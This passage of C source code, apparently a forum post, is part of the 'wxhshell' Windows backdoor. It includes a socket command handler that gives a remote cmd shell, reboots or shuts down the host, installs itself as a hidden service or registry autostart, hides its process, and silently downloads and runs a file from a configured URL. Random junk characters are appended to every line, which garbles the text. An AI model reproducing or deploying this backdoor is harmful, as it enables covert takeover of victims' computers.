  // 帮助 P>_9>k@;Q  
  case '?': { q@ ;1{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); y65lbl%Z n  
    break; h+&iWb3;  
  } \7#w@3*  
  // 安装 ^e ;9_(  
  case 'i': { V8&'dhuG  
    if(Install()) Qb55q`'z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  4~ L1~Gk  
    else :PY6J}:&#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]\oT({$6B  
    break; 1;i|GXY:h  
    } 4GG>n  
  // 卸载 #n15_cd  
  case 'r': { SD:`l<l  
    if(Uninstall()) ^q0`eS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k'PvQl"I  
    else a^E>LJL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Sl'$w4s   
    break; ~-uf%=  
    } ^6F, lS_t  
  // 显示 wxhshell 所在路径 z 0zB&}  
  case 'p': { )PYh./_2  
    char svExeFile[MAX_PATH]; %|^,Q -i,  
    strcpy(svExeFile,"\n\r"); ?9!9lSH6%  
      strcat(svExeFile,ExeFile); #h U4gX,  
        send(wsh,svExeFile,strlen(svExeFile),0); \.p; 4V&  
    break; E?bv<L,"  
    } oSf`F1;)HQ  
  // 重启 *PB/I4>{  
  case 'b': { BS,EW  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $ <C",&  
    if(Boot(REBOOT)) 0=t2|,}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }~ N\A  
    else { Ea'jAIFPpO  
    closesocket(wsh); \/gf_R_GN  
    ExitThread(0); 5K682+^5  
    } v&7<f$5  
    break; 84reyA  
    } .3XiL=^~Qp  
  // 关机 e 8oAGh"  
  case 'd': { f&$;iE  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); f#m@eb  
    if(Boot(SHUTDOWN)) >,'guaa  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y6hV ;[\F  
    else { PApr8Xe  
    closesocket(wsh); D^P0X:T]  
    ExitThread(0); %zRuIDmv  
    } P>)J:.tr0  
    break; r!eW]M  
    } 8t, &dq  
  // 获取shell RW1+y/#%P  
  case 's': { 2G!z/OAj  
    CmdShell(wsh); 4g}r+!T  
    closesocket(wsh); 92.Rjz;=9?  
    ExitThread(0); eT5IL(mH  
    break; 2@pEiq3  
  } "x HK*  
  // 退出 M5dEZ  
  case 'x': { {D(l#;,iX2  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Qt_KUtD  
    CloseIt(wsh); "lC>_A  
    break; "Ms{c=XPK  
    } ?u".*!%  
  // 离开 f8qDmk5s  
  case 'q': { D+! S\~u  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |8[!`T*s  
    closesocket(wsh); 2J$vX(  
    WSACleanup(); BhbfPQ  
    exit(1); tlg}"lY  
    break; u2$.EM/iae  
        } uTPAf^|  
  } :pz@'J  
  } nnE'zk<"  
t0v >J9  
  // 提示信息 7r)]9_[(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !O}e)t  
} 9%3+\[s1  
  } r|\{!;7  
-e_TJA  
  return; =5fY3%^b{  
} YO?o$Hv16  
:sLg$OF  
// shell模块句柄 (JnEso-V  
int CmdShell(SOCKET sock) +j+ v(-  
{ K3h7gY|.  
STARTUPINFO si; F1B/cd  
ZeroMemory(&si,sizeof(si)); m^m=/'<+  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *icaKy3  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?[>Y@we  
PROCESS_INFORMATION ProcessInfo; -'d`(G"  
char cmdline[]="cmd"; +%Kk zdS'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #Z `Tk)u/  
  return 0; 5WxNH}{  
} (a-Lx2T  
qp#Euq6  
// 自身启动模式 V51kX{S  
int StartFromService(void) u;1[_~  
{ _1Ne+"V  
typedef struct M2d&7>N  
{ qTwl\dcncC  
  DWORD ExitStatus; n@"<NKzh  
  DWORD PebBaseAddress; mvt-+K?U  
  DWORD AffinityMask; u8|CeA  
  DWORD BasePriority; 3$:F/H  
  ULONG UniqueProcessId; }aXSMxCd  
  ULONG InheritedFromUniqueProcessId; !v9`oL26  
}   PROCESS_BASIC_INFORMATION; $^czqA-&  
][V`ym-e  
PROCNTQSIP NtQueryInformationProcess; 0c!^=(  
KD+&5=Y  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Bj><0 cNF  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0raFb,6l  
BI*0JKQu  
  HANDLE             hProcess; T \- x3i  
  PROCESS_BASIC_INFORMATION pbi; \dE{[^.5  
vSoG] :1  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); N=T}  
  if(NULL == hInst ) return 0; )8}k.t>'s  
WJa7  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); F:jtzy"  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9xw"NcL  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $dK430_B  
0]MD ?6-  
  if (!NtQueryInformationProcess) return 0; L ed{#+  
`/N={  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); t:P]bp^#  
  if(!hProcess) return 0; %{:pBt:Z  
h <$%y(lP  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; N `fFYO  
0L#i c61U  
  CloseHandle(hProcess); i1KjQ1\a+  
S# baOO  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); i`];xNR'  
if(hProcess==NULL) return 0; O<,\ tZ'N  
@]2aPs} }6  
HMODULE hMod; 'o0o.&/=  
char procName[255]; yIngenr$  
unsigned long cbNeeded; bT T>  
c{?SFwgd  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /%p ~  
h?B1Emlq  
  CloseHandle(hProcess); l. l)w  
EowzEGq!a5  
if(strstr(procName,"services")) return 1; // 以服务启动 B^GMncZO  
<Uf`'X\e6  
  return 0; // 注册表启动 3K/ tB1  
} |F<iu2\  
mSZg;7DE3*  
// 主模块 <u0}&/  
int StartWxhshell(LPSTR lpCmdLine) ?vI2mr a+  
{ o~"Y_dLsW  
  SOCKET wsl; 5_L,7\5#  
BOOL val=TRUE; Y= =5\;-  
  int port=0; l.Ev]G/5  
  struct sockaddr_in door; sN?Rx}  
?YV#  K  
  if(wscfg.ws_autoins) Install(); `T7TWv"M  
`l.bU3C  
port=atoi(lpCmdLine); /0fsn_  
;E.f%   
if(port<=0) port=wscfg.ws_port; n$7*L9)(C  
NW3qs`$-(  
  WSADATA data; 8+".r2*_iO  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; fB,eeT1v?h  
$ywROa]  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9b,0_IMHH  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); J:ka@2>|  
  door.sin_family = AF_INET; |r)QkxdU,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); V,'_BUl+x  
  door.sin_port = htons(port); _j0xL{&&  
rbIYLVA+V  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {.KD#W $5  
closesocket(wsl); P2C>IS  
return 1; P{_%p<:V  
} M3F1O6=4j  
K[/L!.Ag  
  if(listen(wsl,2) == INVALID_SOCKET) { :?FHqfN?_  
closesocket(wsl); W ;+()vC  
return 1; Y}t)!}p$r  
} XIZN9/;  
  Wxhshell(wsl); *o:J 4'  
  WSACleanup(); vZ57 S13  
(3!6nQj-t  
return 0; N'aq4okoL  
]vs}-go  
} B>=D$*_  
=2NrmwWZs  
// 以NT服务方式启动 W+U0Y,N6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) }gt)cOaY  
{ g"m9[R=]6  
DWORD   status = 0; &HAu;u@  
  DWORD   specificError = 0xfffffff; 7gB?rJHV,  
^ACrWk~UY  
  serviceStatus.dwServiceType     = SERVICE_WIN32; J-uQF|   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; |s(Ih_Zn  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; l`A&LQ[  
  serviceStatus.dwWin32ExitCode     = 0; 4E2/?3D  
  serviceStatus.dwServiceSpecificExitCode = 0; |mbD q\U  
  serviceStatus.dwCheckPoint       = 0;  &.s.g\  
  serviceStatus.dwWaitHint       = 0; 3T,[  
U/cj_}uX  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); YX)Rs Vf  
  if (hServiceStatusHandle==0) return; r@vt.t0#  
XOI"BLd  
status = GetLastError(); )rAJ>;  
  if (status!=NO_ERROR) '@M"#`#0  
{ q+p}U}L= k  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Gr/}&+S  
    serviceStatus.dwCheckPoint       = 0; 2QAP$f0Ln  
    serviceStatus.dwWaitHint       = 0; #-+Q]}fB4  
    serviceStatus.dwWin32ExitCode     = status; Y3(MKq  
    serviceStatus.dwServiceSpecificExitCode = specificError; BKb#\(95*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $U9]v5  
    return; q+*\'H>  
  } P 6La)U`VA  
xfI0P0+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; i4h`jFS  
  serviceStatus.dwCheckPoint       = 0; 9%NobT  
  serviceStatus.dwWaitHint       = 0; IvY3iRq6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); AJ& j|/  
} *V\.6,^v  
EU|IzUjFj|  
// 处理NT服务事件,比如:启动、停止 X/vyb^:U  
VOID WINAPI NTServiceHandler(DWORD fdwControl) $\/^O94-l  
{ JN`$Fq+  
switch(fdwControl) HQ7g0:-^a>  
{ |mHf 7gCX  
case SERVICE_CONTROL_STOP: oD\t4]?E  
  serviceStatus.dwWin32ExitCode = 0; 2Vf242z_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; U$+,|\9  
  serviceStatus.dwCheckPoint   = 0; b6Z3(!] ]  
  serviceStatus.dwWaitHint     = 0; |#< z\u }  
  { ` V [4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); C,$o+q*)W9  
  } w%iw xo   
  return; `sso Wn4  
case SERVICE_CONTROL_PAUSE: W}3%BWn  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; } eHxw+.  
  break; o 7tUv"Rs  
case SERVICE_CONTROL_CONTINUE: <rK[&JlJ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 4'*.3f'bp  
  break; gt(p%~  
case SERVICE_CONTROL_INTERROGATE: Do\j_  
  break; .Tq8Qdl  
}; MusUgBQy  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); kV T |(Y  
} Sa[lYMuB  
y?O-h1"3,  
// 标准应用程序主函数 DbFe;3  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6jgP/~hP>N  
{ "9QZX[J|*  
\~+b&  
// 获取操作系统版本 8OV =;aM?{  
OsIsNt=GetOsVer(); G6W|l2P!  
GetModuleFileName(NULL,ExeFile,MAX_PATH); PLz+%L;{  
K\fD';  
  // 从命令行安装 Ay 4P_>^  
  if(strpbrk(lpCmdLine,"iI")) Install(); !m9hL>5vR  
rEC  
  // 下载执行文件 00dY?d{[D  
if(wscfg.ws_downexe) { ]cS(2hP7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) a)=|{QR>W  
  WinExec(wscfg.ws_filenam,SW_HIDE); (?^F }]  
} ^p9V5o  
Tsb}\  
if(!OsIsNt) { N wNxO  
// 如果时win9x,隐藏进程并且设置为注册表启动 \7*|u  
HideProc(); !z4I-a  
StartWxhshell(lpCmdLine); sZr \mQ~  
} }[UH1+`L  
else pL;e(lM  
  if(StartFromService()) ~?fl8RF\  
  // 以服务方式启动 MD<x{7O12>  
  StartServiceCtrlDispatcher(DispatchTable); nw`rH*  
else YsVKdh  
  // 普通方式启动 e Ru5/y~  
  StartWxhshell(lpCmdLine); HK<S|6B7V  
u pUJF`3  
return 0; 26k~Z}  
}
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只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
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